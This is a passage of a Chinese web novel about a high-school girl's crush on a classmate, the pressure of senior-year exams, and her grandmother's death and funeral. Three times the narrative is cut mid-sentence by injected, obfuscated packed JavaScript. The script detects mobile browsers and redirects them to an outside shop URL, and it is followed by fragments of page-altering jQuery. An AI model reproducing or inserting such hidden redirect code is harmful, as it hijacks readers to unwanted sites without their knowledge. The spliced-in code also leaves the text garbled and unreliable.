“可惜了,如果你留下的话,京大的保送名额十有八九会给到你……不过我相信以你的能力,无论到哪里都会大放光彩的,也不局限于这一个选择。”梁兆兴将手里的水杯放下,随手捡了桌面上的一颗糖握在手里,又问他:“什么时候走?” “没那么快,办理手续也需要一些时间,至少这个学期不走……”谢惊洛看着他的动作,目光落在桌角的糖果堆上,没看到喜欢的,就随意拿了一颗,并附上真诚建议:“老梁,你的糖果口味有点单一,下次可以准备点其他口味的,比如草莓。” 他的话题转得太快,梁兆兴用了几秒才反应过来他在说什么东西。 “你小子……”梁兆兴笑骂他一句:“来我这蹭吃蹭喝还挑上了,多的没有,桌子上那些要你就拿去吃,既然现在不走那就快点回去上课,走之前记得把门带上。” 他撕开包装,吃了糖,手上也没客气,又在梁兆兴桌子上顺了一把装进口袋,答应得很是顺口:“好的。” 谢惊洛被轰回了教室,他回到座位,一眼就看见了放在桌面正中央的暖黄色袋子。 他疑惑蹙眉,转头问秦长宇:“这是?” 秦长宇:“龙眼,于听眠给我们几个都带了一份,你刚刚不在我就帮你拿回来了,帮你谢过人了。” 闻言,谢惊洛解开了袋子上端系好的结扣,往里头一瞧,一眼就看见了某颗大了周围一圈的龙眼。 对比之下实在显眼,他伸手将其拿了起来。 秦长宇看着他的动作也瞧见了他手中那颗加大版龙眼:“嚯,这颗大,你小子运气挺好,我这袋快吃完了都没见那么大颗的。” “是吗?”谢惊洛笑笑,拿着龙眼的手指稍一用劲,龙眼壳上就裂开了一道缝:“那看来我的运气不错。” 说着,他将龙眼剥了壳放入口中。 或许是方才吃了糖,口腔中还余留着糖果的香甜气息,谢惊洛觉得这颗龙眼确实比一般的龙眼甜上不少。 “挺甜的。” 于听眠佯装认真整理桌面上的卷子,眼角余光时不时落在谢惊洛身上,在她的位置听不见谢惊洛和秦长宇说了些什么,却能看见他将那颗硕大的龙眼剥壳入口。 好似一瞬间就收获了一整天的好心情。 她的唇角抑制不住上扬,恰巧被唐思雨看见,问她:“怎么了?想到什么事了?笑得那么开心?” “没什么。”于听眠笑着摇摇头,反问:“龙眼甜吗?” “嗯?我觉得挺甜的。” “我也觉得。” 下了课,唐思雨拉着于听眠一起去了个洗手间,回来的路上唐思雨碰上了隔壁班的熟人,两人站在走廊上聊得火热,于听眠便先一个人回教室。 回到座位,却发现桌子上不知什么是被人放了一大把五颜六色的糖果,各种口味的都有,明晃晃地被人摆在桌子中间。 于听眠愣了一下,还没搞清楚这是什么情况,就看到了被糖果压在下面的暖黄色的便签纸。 她拨开上面的糖果,拿起了便签,上面的字赏心悦目: 谢谢你的龙眼,很甜很好吃,这些糖果是从老梁那里顺来的,也很甜,不嫌弃的话可以尝尝。 右下角画了一个简笔的笑脸。 于听眠怔怔看着便签上那句短短的话语,心头翻涌起后知后觉的滚烫的潮热,她朝谢惊洛的位置看去。 谢惊洛正和朋友说话,好似察觉到了她的视线,微微侧过头,两人的目光刹那间在空中交汇。 他朝她眨了一下眼睛。 谢惊洛的目光像是带着灼热的温度,于听眠感觉自己被烫了一下,她连忙撇开眼睛,若无其事地拉开椅子坐下,拿起一颗糖果拆开包装小心地放入口中。 糖果特有的香甜气息在嘴里弥漫开来,又因为是柠檬口味的,带着一丝丝的酸涩。 又甜又酸,但又真的很上瘾。 无人注意的地方,她悄悄地将糖果全部收了起来,并在心里惭愧:对不起了思雨,这次我要吃独食了,下次我自己买了糖果再分给你吃。 大概是为了安抚这群提早一个月开学的高三生的情绪,年级领导商量过后决定在开学的第二天下午举行一个活动。他们采购了一大堆零 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294311|194986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 食堆放在操场中央,各式各样应有尽有,接着广播通知组织各班到操场集合,以零食堆为中心围成了一个大圈。 下午最后一节是自习课,从窗外看去,云层遮住了橘黄色的晚阳,云边却被镀上了金边。 广播来得突然,只叫人下去集合又没说明内容,大家皆是一头雾水议论纷纷,但又都在看见零食堆的那刻停止了讨论。 虽然还不知道接下来要干什么,但和零食挂钩的能是什么坏事? “哇塞好多吃的!”唐思雨激动地晃着于听眠的手臂:“这难道是给我们吃的?” “不知道呀。”于听眠秀眉微蹙表情严肃:“广播没说不会放一把火把它们全烧了,所以不排除这个可能性。” 唐思雨:“……神经啊你?” 她觉得这位好友的病情是越发严重,自己都快赶不上了。 于听眠皮完倒是开心了,要的就是这种被骂的感觉,听完之后浑身舒畅。 也没让她们猜测太久,广播很快就给出了答案。大概意思就是把他们聚集在一起玩个游戏,限时一分钟,各班班主任能抢到多少零食这个班就能拥有多少零食。 哦吼?!! “我去真的假的?!” “抢到多少都归我们?” “老梁你行不行啊?不行我勉为其难当一天班主任我替你上!” “哎哎哎一边去。”梁兆兴没好气地看了试图谋权篡位的陈文俊一眼,信誓旦旦:“什么叫我行不行?我跟你们说,你们今天就等着吃就行了,剩下的交给我。” “加油啊老梁,你现在是我们全班的希望!” 当气氛变得热烈,原先还算井然有序的队形就炸开了锅,不少人探头探脑往前排凑,想要围观最前线的热闹,可惜于听眠她们慢了一步,等反应过来前排早已被围了个水泄不通,无奈之下只好站在后面踮着脚尖往前瞅。 “怎么样了?”唐思雨前面是个高大个,视线被挡得一干二净踮脚也看不见,只好转头问好友。 “现在……我看见老梁已经把他的手表摘下了。”于听眠给她实时口述直播:“看着很有干劲,看来我们的赢面很大啊,要不要赌一把?” 唐思雨:“赌什么?” 于听眠:“赌老梁抢回来的零食够不够我们班吃一个学期。” 唐思雨:“?” 一个学期开玩笑呢?吃一个星期都够呛。 唐思雨:“我赌不够。” 于听眠:“巧了我也赌不够,赌局不成立,散了吧。” 唐思雨:“……” 哔—— 一声哨响,于听眠看见梁兆兴两腿一迈就冲了出去,两手抓起衣服下摆当兜蹲下在零食堆底部用力一铲——一堆小山峰似的零食就被他兜了起来,叠起来的高度差点把他整张脸都给挡住。 “哇塞——老梁牛啊——” “加油加油!还能再跑两个来回!” “老梁加油啊——今天过后你的课我都好好听——” 梁兆兴正忙着给这群嗷嗷待哺的小兔崽子们抢夺口粮,没空回他们的话,只看了一眼那个说今后要好好听课的,记住了是谁说的,转头又投入了下一轮次的来回。 游戏进入到了白热化,气氛高涨,于听眠看得开心,喜悦在心中堆积,她下意识想将这份欢喜传递出去,于是目光落在人群中寻找某道身影。 谢惊洛不太热衷于人群熙攘之地,于听眠找了一圈,终于是在操场的某个角落寻见了人影。 他与三五好友在喧嚣之外聊笑,他本身是不怎么参与话题的,多是听着好友们吵吵闹闹,时而回应两句,又不知是谁说了些什么有意思的事,他的唇边流露出些许笑意。 恰巧洁云随风远去,藏匿的晚阳露出一角,夕阳没了遮挡,尽情地散落在人间,也落在了谢惊洛的笑颜之上。 残阳之际,他明媚得正好。 51. 从天台往下 然而学校早已将黄鼠狼给鸡拜年没安好心这一套玩得明明白白的。下午刚组织完活动,晚上上晚自习吃零食吃得正开心,广播就冷不丁响了起来,通知说两天后举行开学考。 教室里顿时一片唏嘘声。 广播在黑板顶上叽里呱啦时于听眠正吃着一包薯片,闻言挑了挑眉,对此并不意外,甚至觉得学校下那么大血本不搞点什么事才不合理。 她将薯片往唐思雨那边伸了伸:“吃不吃?” “吃。”唐思雨捡了一片薯片放进嘴里,没好气地哼声:“我就知道学校不会有那么好心,提前一个月开学也就算了,还要开学考,果然下午的零食全是阴谋,你看,下午搞活动晚上通知,就装了那么一下。” “嗯……”于听眠抽出纸巾擦净沾上手指的薯片碎屑,斟酌一番,委婉道:“可是开学考是云城一中传统哎,如果不搞活动是不是装都不装了?” 唐思雨:“……” 可恶,她说得很有道理。 虽然做好了高三学校会在学习和考试上不断上强度的准备——可这强度上得也太快太猛了些。开学考成绩出来当天晚上,广播又一次响起,宣布从明天开始晚自习时间延长半个小时,周测改为一周一次,接来下还会有各种不同的联考、模拟考。 “啊?!!!” “它的意思是说现在不仅早上要早半个小时过来早测,晚上还要再晚半个小时才能走?!” “天啊,我就说我怎么不记得自己属什么生肖了,原来我是属驴的。” “这下不得不羡慕住校生了,好歹人家离教学楼近走两步就到了,我在路上还要花一堆时间来回。” “你羡慕个屁啊,等你吃饭洗头只能二选一时你就知道什么是生活不易了。” 每个班级都有人发出惨叫,躁动声之大连在校外行走的路人都能察觉。 于听眠听得两眼一黑的同时又不免感慨还好家里离学校近,提前半个小时起床逼自己一把还能勉强爬起来,只是苦了那些离家远的,这么一来一回少了将近一个小时的睡眠时间。 一个小时说多不多说少不少,但一旦将其压缩在睡眠上就会发现这一点时间是无比的重要,尤其是对于他们这些每天都高耗神的高三生来说。 头两天于听眠还尝试着其他行为保持不变,只少睡一个小时,结果就是白天上课时困得头昏眼花,两眼一闭脑袋差点就要砸桌子上,还好被唐思雨眼疾手快伸手捞了一把。 唐思雨悄声问她:“你怎么困成这样?是没睡好吗?” 于听眠说自己这两天每天都少睡了一个小时。 唐思雨开始骂她:“你糊涂啊,压缩什么时间不好压缩睡眠时间,只睡这么点你第二天有精力听课吗?” 于听眠叹气求饶:“别骂了别骂了,今晚回去我就把作息改回来” “啧啧啧。”唐思雨瞄了她一眼,从桌肚里摸出一包速溶咖啡反手塞她桌肚里:“下课把这个冲了喝了,这牌子不错,提神效果挺好的。” “哦……”于听眠抓住了奇怪的重点:“所以你也困?” 唐思雨:“……好好听课。” 于听眠偷笑。 笑着笑着她的视线又不自觉地落在了某个窗边的位置。 谢惊洛正低头写着什么,像是在解着某道题,修长的手指握着笔杆从纸张上流畅划过,不曾停顿些许,偶尔又会抬头看上两眼黑板,面色从容,不见丝毫疲惫之色。 好像也没见过他下课趴在桌子上补觉什么的,不是看书就是做题,或者和好友们聊聊天,眼神永远清澈透明。 他真的不会感到累吗? 于听眠想。 都说上帝给人关上一扇门就会给人打开一扇窗,那上帝到底给他关上了哪道门?怎么四面八方全被打开了?在一群怨气比鬼都重的同学里面显得格外显眼。 好在学校也发觉最近这群高三学生的怨气重了不是一星半点,领导们开了圆桌会议商讨一番,决定在食堂设立宵夜,下了晚自习去食堂刷饭卡就能购买,美名其曰用美食抚慰忙碌了一天的身心。 虽说于听眠觉得学校说的“美食”最多只能信一半,但胜在价格实惠且种类多,学了一个晚上也确实容易饿,加上高一高二还在外边晃荡尚未归校,不用卡点去抢,一时半会儿这个宵夜还挺受欢迎。 她和唐思雨也去吃过几次,可能是期望值拉得太低,味道居然远比她想象中的要好。 “哎,眠眠。”刚下第二节晚自习,唐思雨忽然将脑袋凑过来神秘兮兮地叫了于听眠一声。 于听眠订正着一道物理错题,头也不抬地回她:“怎么啦?” 唐思雨:“你逃过课吗?” “……?”于听眠停下笔,扭头看她:“装了两年乖学生终于装不下去了?” “啧,你才装不下去。”唐思雨伸手要掐她,于听眠笑着往旁边躲。 拍开唐思雨伸过来的魔爪,于听眠问:“那怎么忽然问这个?有想法?” “就是我们学校最近不是有宵夜吃嘛,听说不久前上新了一款很好吃的咖喱鱼蛋,不过是限量的,先到先得……” “这个我知道,吃过的人都说好吃,我也挺好奇的。”于听眠顿了顿,接着提醒她:“想法是很好的,不过第三节自习教导主任一般会来巡查人数哦。” 一句话直接按灭了唐思雨所有蠢蠢欲动的心思。 “啊……”唐思雨顿时泄气,整个人往堆满了学习资料的桌面上一扑,像一摊液体摊在上面蛄蛹。 “乖,别难过了。”于听眠从书包里摸出一包薯片,撕开包装投喂她,“虽然我们吃不上咖喱鱼蛋,但至少还有薯片吃,将就一下。” 唐思雨接过薯片,吃了一片冷静下来:“其实也不是非吃不可,就是莫名觉得学得好烦不想学了,想干点别的事……好吧也确实想吃,他们一直说很好吃。” 这点于听眠倒是理解,她偶尔也会学到厌倦想干其他事,但冒着被领导逮住然后被罚在全校师生面前念检讨的风险去吃鱼蛋…… 一想到那个被数千人盯着的场面,于听眠觉得还是从天台往下更适合她。 “你们在聊什么?哟,有薯片,怎么偷偷吃独食呢?”秦长宇和谢惊洛从洗手间回来,见唐思雨半死不活的模样,他好奇凑上来,一眼就看上了唐思雨手中的薯片。 唐思雨举起薯片躲开他毫不客气伸过来的手,抬脚踢了一下他的小腿,没好气道:“这是眠眠的薯片,上来就抢,问过人家了吗?” 于听眠倒是不在意,很乐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301882|194986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于分享:“没关系,你们吃吧,我一个人也吃不完。” “看,我就说世上还是好人多吧。”秦长宇笑嘻嘻地朝唐思雨挑衅,“哪像你,有点什么损招全用我身上了。” 唐思雨白了他一眼,将薯片往谢惊洛面前递过去:“洛哥要不要吃两片?再不吃就全被他吃完了。” 谢惊洛没拒绝,他伸手拿了一片,看向于听眠,眼尾弯起一道浅浅的弧光,向她道谢:“谢谢。” “没、没事,不用客气。”于听眠被他百看不厌的笑颜晃了双眼,没绷住小小地磕巴了一下。 …… 要不她还是趁早从天台往下吧。 她瘫着脸想。 薯片最后落到了秦长宇手里:“所以你们刚才到底在聊什么?” “食堂宵夜推出了新菜品咖喱鱼蛋。”薯片一整袋都被他夺走,唐思雨两手空空,就又趴回到了桌面上,“我和眠眠都想吃,但它限量,我们抢不过。” “噢不,那太可惜了。”秦长宇提供毫无营养的情绪价值,“我也想吃,可惜不能早退唉……” 不等唐思雨让他闭嘴安静吃薯片,谢惊洛先一步开口:“除了鱼蛋还想吃什么吗?” 三道目光霎时间都落在他身上。 “咋地?你要早退去帮我们买吗?”秦长宇震惊:“被主任抓了你要罚念检讨的,你什么时候变得那么善良舍己为人了?你不是谢惊洛本人吧?不管你是谁赶紧从我兄弟身上下来!” 谢惊洛扫他一眼,笑意凉凉的,随他爱吃不吃:“那你别吃。” “那不行。”秦长宇能屈能伸,变脸的事顺手就做了:“那麻烦洛哥您再帮我买一盒炒米粉,您的大恩大德没齿难忘!” “你们呢?有别的想吃的吗?”谢惊洛又问两个女孩子。 唐思雨连忙跟团:“我想再要一个饭团,谢谢洛哥!” “呃、那什么……”比起想吃什么,于听眠更担心另一件事,“真的没关系吗?被抓了要念检讨的。” “没关系的。”面对于听眠,谢惊洛语气温和不少,“我需要送一些资料给老梁,可以提前几分钟走。” 不用被罚念检讨就好,于听眠放心了,“那……我再要一杯奶茶吧,谢谢你!” 离下晚自习还有十分钟,谢惊洛收拾好东西提前走出教室。他被各科老师叫走是家常便饭,班上的同学都见怪不怪习以为常,在讲台上坐班的许云甚至连头都没抬一下。 谢惊洛将整理好的资料送到梁兆兴办公室,随便和他唠了几句,再抬头看一眼钟,见时间差不多了,便适当结束了话题和他道别离开。 食堂各个窗口的宵夜都准备得差不多了,阿姨们忙着将它们一件件摆出点餐口,静待饕餮们的到来。 由近到远,谢惊洛先将四份必要的咖喱鱼蛋买齐,接着再去买了秦长宇要的炒米粉和唐思雨的饭团,最后来到奶茶专卖窗口。 “你好,麻烦给我两杯奶茶。” “好的,两杯奶茶。”阿姨对谢惊洛这种长得漂亮的孩子很是喜爱,多问了句:“只要奶茶吗?要不要加点小料?” “不……” 他正要说“不用”,却蓦地想起了什么,话到嘴边转了个弯。 “两杯都加珍珠吧。” 52. 落叶归根 记得食堂奶茶好像还可以加小料来着?有点想加珍珠。 于听眠看着从谢惊洛后门离开,慢半拍想起奶茶可以加小料。但她也只是想想,刚才没有说现在当然也不可能再说,人家好意帮忙买宵夜,中间还额外加要求跟使唤人似的。 这不好不好。 她摇摇头。 总算熬到下课,急着去吃宵夜的和急着回家的都提前收拾好了东西,就等这一刻铃响窜出教室,于听眠三人仗着有人兜底,在忙忙碌碌的人群里面显得格外悠游自在。 谢惊洛找了个靠门的位置,有些偏僻,但也能让三人一进门就看见,于听眠发现他已经吃完了自己那份鱼蛋,正拿着奶茶慢慢喝着。 他也买了奶茶哎。 “你已经吃完了?这么快?味道怎么样?点评一下。”秦长宇一屁股坐到他旁边,好奇道。 谢惊洛客观评价:“还行。” “你说还行那就是好吃,那我放心了。”秦长宇利索地打开两份食物的包装盒,一口炒米粉一口鱼蛋搭配着吃,吃得那叫一个香。 于听眠又一次坐到了谢惊洛对面,虽不再像前几次那般手脚不协调,但她还是下意识挺胸直背保持优雅的模样,慢条斯理地用吸管戳开奶茶塑封盖喝了一口。 奶茶甜滋滋的味道混合着茶香在口腔弥漫开来,被一起带上来的珍珠嚼劲十足…… 嗯?珍珠? 于听眠一怔,她抬起奶茶在眼前晃了晃。刚刚喝之前没有注意,这一杯奶茶居然加了快半杯的珍珠,正密密麻麻地沉在杯底下。 再看谢惊洛手上的,已经喝了快一半,随着他指尖的晃动,圆滚滚的珍珠在里头上下浮动。 看来应该是他买奶茶的时候顺手就买了一样的,毕竟自己也没有说要加什么小料。 而且看起来他好像还挺喜欢珍珠的? 纵然只是个巧合,但于听眠心底还是因为或许和谢惊洛有了相同的口味而悄悄漾开了一层细碎的欢喜。 食堂里的人声渐渐多了起来,点餐报价声一道接一道。他们来得早,占了个清净的地,等后来的人找到位置坐下时,秦长宇已经三两下解决完了自己的食物,嘴巴闲下来开始找唐思雨的麻烦。 “你怎么能吃那么慢的?喂猫呢?” 正专心啃饭团的唐思雨:“……你吃那么快怎么没噎着你,我这是正常的吃饭速度,你以为谁都跟你似的。” 懒得理会这没事找事的人,唐思雨转头和同样在专心吃鱼蛋的于听眠聊天:“怎么样?是不是很好吃?” 于听眠没空说话,只赞同点头。 是很好吃,鱼蛋弹牙紧实,酱汁浓稠馥郁,说不上一品难忘,但也确实对得起它在食堂限量的名声。 虽然今晚奶茶最合她心意。 2014年8月26日 天气:多云 鱼蛋很好吃。 但对不起,今晚我还是觉得奶茶更好喝,因为里面加了我喜欢的珍珠。 即使这只是谢惊洛顺手买了一样的,但我还是很开心。 而且谢惊洛大概也许好像喜欢珍珠? 太好了,终于有相同的口味了—— 之前知道他不喜欢芒果还觉得好可惜的。 之后的时间被调成一支失真的旧曲,快得只剩下零落的弦音。 几天后,九月一,高一高二正式返校,高三迎来第一次月考,改卷速度一如既往地快,第二天成绩公布,于听眠成绩排名年级第19。 九月末,又一届校运会开幕,开幕式上人声鼎沸,与高三教学楼的安静形成鲜明对比,于听眠收拾好东西迎接第二次月考的最后一科考试。 成绩第二天下午出来,操场上举行男女混合400米接力赛,不知又是哪个班级夺冠,欢呼声震耳欲聋,于听眠成绩排名年级第15。 高三的国庆假期只有三天,尚未来得及好好洗涤疲惫的身躯,于听眠被告知奶奶又一次晕倒进了医院。 医院走廊的灯白得发冷,急救室的灯光还未熄灭。所有人沉默地等在门外,于新鹤连夜驱车赶来,靠着椅背揉着山根,眼里是压不下的血丝疲态,于新颜已经哭过一场,双眼通红被付向晓揽在怀里安慰,姑父去缴纳费用,徐知乐则坐在于听眠身旁不断抹去掉下的眼泪。 于听眠如鲠在喉,又紧又涩,她咽了咽嗓子,拼命把那些不断往上翻涌的、最悲观的念头死死压下。 空气像凝固的蜡,沉重、粘稠,裹着无声的焦灼。 两个小时过去,老人家被从急救室推出来时还在昏迷,但好在已经脱离危险。她被转送到病房,大人们去和医生沟通病情,两个孩子就安静地坐在病床旁守着。 “姐……”徐知乐才哭过不久,还哑着声音,他有些无助地问:“外婆会没事的吧?” 不知道。 但于听眠只是点了点头,扯出一个笑容:“当然会没事,奶奶福大命大,这点小病很快就会过去的。” 心电监护仪响着压抑的“滴滴”声,老太太瘦小的身躯深深陷在白色的被褥里,紧闭的双眼下透着一层难以忽略的青灰,面上不见一丝生气,于听眠记忆里那个优雅从容对自己疼爱有加的长辈,如今却枯槁得像深秋枝头最后一片将落的枯叶。 明明现在也只是初秋。 之后的两天,老太太不断醒来过很多次,但意识都不太清醒,断断续续说了好些模糊的话,很快又再睡过去,于听眠努力尝试着去听,却怎么也听不清。 她的假期只有三天,即便再放心不下,她也是时候该返校了。 上了车,于听眠默默系上安全带,付向晓看出她的心不在焉,伸手拍了拍她的背,“不要太胡思乱想,没事的,好好学习,等奶奶情况好一些我们会告诉你的。” 于听眠沉默着点头。 她身上的悲观情绪太过明显,一上午都提不起什么精神,唐思雨收起了平日嬉笑打闹的模样,小心翼翼问她:“眠眠你……没事吧?是……发生了什么事吗?” 于听眠勉强扬起一点笑意,向她摇了摇头,表示自己没事。 下午放学,唐思雨和她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17312868|194986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去食堂吃晚饭,她胃口不佳,没吃多少,等回到教室时却发现桌子上多了一杯奶茶,看袋子标识是“风铃苑”那家。 她打开袋子一看,里面的奶茶加了半杯多的珍珠,袋子底部还散落着几颗花花绿绿的糖果。 唐思雨桌面上也有一杯,于听眠疑惑:“哪里来的奶茶?” “洛哥买的。”唐思雨打开自己那个袋子,“他忽然说想喝奶茶,就拉着秦长宇一起去买了,我让他们顺便给我们也带两杯,喝点甜的心情会好很多哦。” 她又瞅了一眼于听眠的袋子,疑惑道:“不过你的怎么还比我多几颗糖?难道‘风铃苑’搞活动买招牌珍珠奶茶送糖果……” 于听眠拿起奶茶,里面加了冰块,杯壁上凝起凉丝丝的细小水珠,被她一蹭就顺着掌心滑落。 手上是湿润冰凉的触感,袋子里的糖果不规则地散开,耳边是唐思雨的碎碎念,她转头,看向谢惊洛的位置。 是空的。 于听眠没等来奶奶病情好转的消息,却又接到了两次她进入急救室的通知。高三的第一次八省联考在即,学校管得严,她不好请假太多,只回去看过一次,还没等到昏迷的老太太醒来便又匆忙赶了回来。 从最初开始算起,老太太已经在病床上度过了两个多月。 离联考还有三天。那天天气异常地好,灰沉了好些天的乌云被驱散,暖阳毫无保留地倾泻在地面,是久违的万里无云。 奇怪的,于听眠却不觉得温暖。 她独自站在廊柱的背光处,身边人来人往,高大的柱子打下的阴影将她笼罩在昏暗中,她在热闹的人群里感到一阵发冷,呼吸变得有些困难,喘不上气,她靠着柱子缓缓蹲下。 这幅模样将从洗手间出来的唐思雨吓了一大跳,她急忙过去将人扶起来,询问怎么了,说着就要带人去医务室。 于听眠将人拉住,皱着眉头说没事。 她在唐思雨担心的目光下走回了教室。 下一节课上到一半,那股窒息感非但没有丝毫消退,反而愈演愈烈,唐思雨看不下去了,要举手喊报告。 也就是这个时候,梁兆兴先一步出现在教室门口,敲了敲门打断了课堂,目光落在于听眠身上。 “于听眠同学,跟我出来一下。” 于听眠看清了他脸上难以描述的沉重,又带着些许欲言又止。 咯噔。 她感觉脑子轰然一空,心脏像从很高的地方重重摔落,有一瞬间的停跳。 六个小时的车程还是太远,老太太没能撑到于听眠赶回来见她最后一面。 老人家走的前一天,气色格外地好。 她撑着脆弱的身躯下床,坐着轮椅来到窗前,初冬的风一阵紧过一阵,窗外那棵叫不出名字的树,树上的枯叶被寒风一吹便簌簌落下。 她静静地看着某根枝杈上的最后一片叶子也被寒风卷落,在空中打了个旋,落到树根下,等待成为来年供大树生长的养分。 落叶归根。 她说:“我想回家了。” 53. 重逢 她的身体状况不允许她出院,听了医生的建议,她只是轻轻地摇了摇头,不再说话,也不再坚持,却不曾想,这一次过后她再也没能回家。 按照习俗,出殡的前一天,是要请人来办白事的。 老屋堂前低垂着挽联,正中悬着老人家的黑白遗像,相框里的人笑得温柔慈祥,相框外披着一层薄薄的黑纱。香烛的气味低沉地在屋里蔓延,前来帮忙的亲戚们默不作声折着纸元宝,锡箔映着昏黄的烛火,一闪一闪的,盘中燃烧纸钱的火舌高卷,吞噬着一个又一个纸元宝,一点一点地将一个人的生前过往燃为灰烬。 堂前还挂着那本日历,日期还停留在两个多月前,纸张微微卷着边,许久没被人撕过,上面落了一层薄薄的灰,就好像时光从那天起就睡着了。 为什么日历那么久没撕了?奶奶…… 奶奶? 现在是什么时候了?离日历上的日期过去很久了吧?于听眠下意识想要去寻找奶奶的身影,告诉她日历该撕了的,可一回头,一眼见满堂的白衣黑纱、花圈和挽联、盘中成堆的纸元宝火光冲天。 现在是什么时候了? 于听眠惊觉。 现在是葬礼。 是奶奶的葬礼,是撕日历的人的葬礼。 于听眠怔在原地,觉得自己不太清醒,或者说本来就是不清醒的,仿佛灵魂被抽离干净,脑子里空了,只反复念着一个毫无意义的问题——那谁来撕日历呢? 她看了那日历半响,走过去,伸出微微发着抖的手,触上了最上面那张已经渐渐泛黄的纸页。 撕啦—— 很轻的一声,压不过屋外的锣鼓喧天,唢呐连连。 撕啦—— 一张又一张的纸页从她指尖滑落,直到今天的日期苍白地显露出来,她才怔怔地停住手。 两个多月的时间,撕完也只是短短片刻。 她看着眼前这崭新的一页,像在看一道再也跨不过去的渊。 锣鼓唢呐连夜不歇,东边的云层裂开一道细细的缝,透出灰冷的光。之后那光开始有了颜色,一点点变作暖黄,又缓缓渗出些很淡的红,像纸上慢慢晕开的墨——天亮了。 新一轮的旭日依旧升起,有人永远留在了昨天。 应老人家生前的要求,她的墓碑安置在了她爱人旁边。 黄昏斜斜铺在墓园的石阶上,两座并肩的墓碑被同样温柔的光线笼罩,像岁月终于收起了残忍的利刃。 两个名字并排而立,两张黑白的相片是他们曾在这世间走过一趟的证明。 江寻畔和于世安。 远处有鸟儿掠过长空,微风摇动碑前白菊,时间在这里打了个结,不紧不松,刚好系住一场漫长的重逢。 浑浑噩噩不明不白的三天过去,于听眠回来赶上了联考。 成绩也很快出来,她掉到了两百名开外。 唐思雨挽着她的手,陪她站在成绩单前,目光担忧,“眠眠……” 虽然于听眠什么都没说,但她看得出来对方这几天状态都非常不好,联想那天梁兆兴匆忙地打断课堂叫人离开,她大概也能猜得出来是发生了什么不好的事。 于听眠垂下的手指向掌心缩起,很缓地眨了下眼,未作任何言语。 晚饭于听眠没什么胃口,便对唐思雨说自己想留在教室里改改错题。唐思雨没强硬拉她去食堂,只是说等会儿回来的时候去小超市给她买个面包,毕竟无论怎么样还是得吃点东西填填肚子的。 于听眠没有拒绝,点头说好。 从晚饭到晚自习这段时间,是一天里为数不多的空闲时间,大家吃过晚饭会选择去操场散散步或是去球场打打球,选择留在教室里的人不多,三三两两,于听眠算一个,谢惊洛也算一个。 桌面上摊着已经对过答案的联考数学试卷,这次联考试题整体难度有所加强,但这并不是她失分的主要原因,具体原因大概是考试时她的心思根本没一刻落在试卷上。 于听眠深深吸了口气,垂下眼眸开始复盘试卷。 选择填空丢分大都是她粗心大意,要么算漏了步骤要么看少了条件,这没什么好说的,主要是大题。 又是一道几何题,她最不擅长的题目之一。考试时她一开始的思路就是错的,后来没及时发现导致一错再错,结果就是整道大题最后只拿了两分。 试卷明天梁兆兴才会在课堂上评讲,于听眠想先试着看看能不能自己弄懂。 她试图推翻原先的思路重新梳理新的思路,但脑子却像一壶越搅越浑的浆糊,思绪被黏黏糊糊地粘住无法运转,文字在眼前浮游,句子被拆解成散落无章的笔画,连续读了好几遍题目都不知道自己要干什么。 她搁下笔,单手支着额头,头疼地揉了揉太阳穴,忽而想起背包里似乎还有前几日奶茶袋里散落的、没来得及吃完的糖。 突然间想吃了。 于听眠伸手拿过背包,拉开拉链在里头翻找起来。 其实糖果就在背包最底下,一打开背包就能看见,但此刻比糖果更先映入眼帘的,是夹层里露出一角的,被过了塑封系了红绳的三角黄符。 是老人家独自行了很远的路,去庙里求来给两个孩子保佑平安的平安符。 于听眠动作顿住,指尖悬在半空,她怔怔看着那枚符。 半响,一股迟来的、难以言喻的悲恸顷刻间漫过胸腔,毫无预兆地凿穿胸口,她鼻头骤然一酸。 医院里没能见上最后一面她没哭,守灵时锣鼓唢呐彻夜嘶鸣她没哭,碑前阴阳永隔她也没哭,她以为她能忍住的,可偏偏…… 泪水霎那间模糊了眼睛,滚烫的液体夺眶而出。 悲伤很狡猾,它一直藏在心底最深的角落,悄无声息地躲过了“解离”,当被冻结的情绪开始解封,就等着这样一个毫无防备的瞬间,给人当头一棒,让人手足无措。 她猛然起身,椅子因她用力的动作向后挪去,发出一阵尖锐刺耳的“刺啦”声,在安静的空间里异常清晰,她顾不得四周落在自己身上的目光,快步离开教室。 天台的铁门被重重推开,又在身后沉沉合上,将一切喧哗笑闹隔绝在门后。 这里的风很大,吹得宽大的校服猎猎作响,夕阳从教学楼西侧缓缓沉下,染透了那边的云,像烧着一场盛大而寂静的焰火。 于听眠走到天台最不显眼的角落,她的影子被拉得很长,在晚霞里无声地站着。 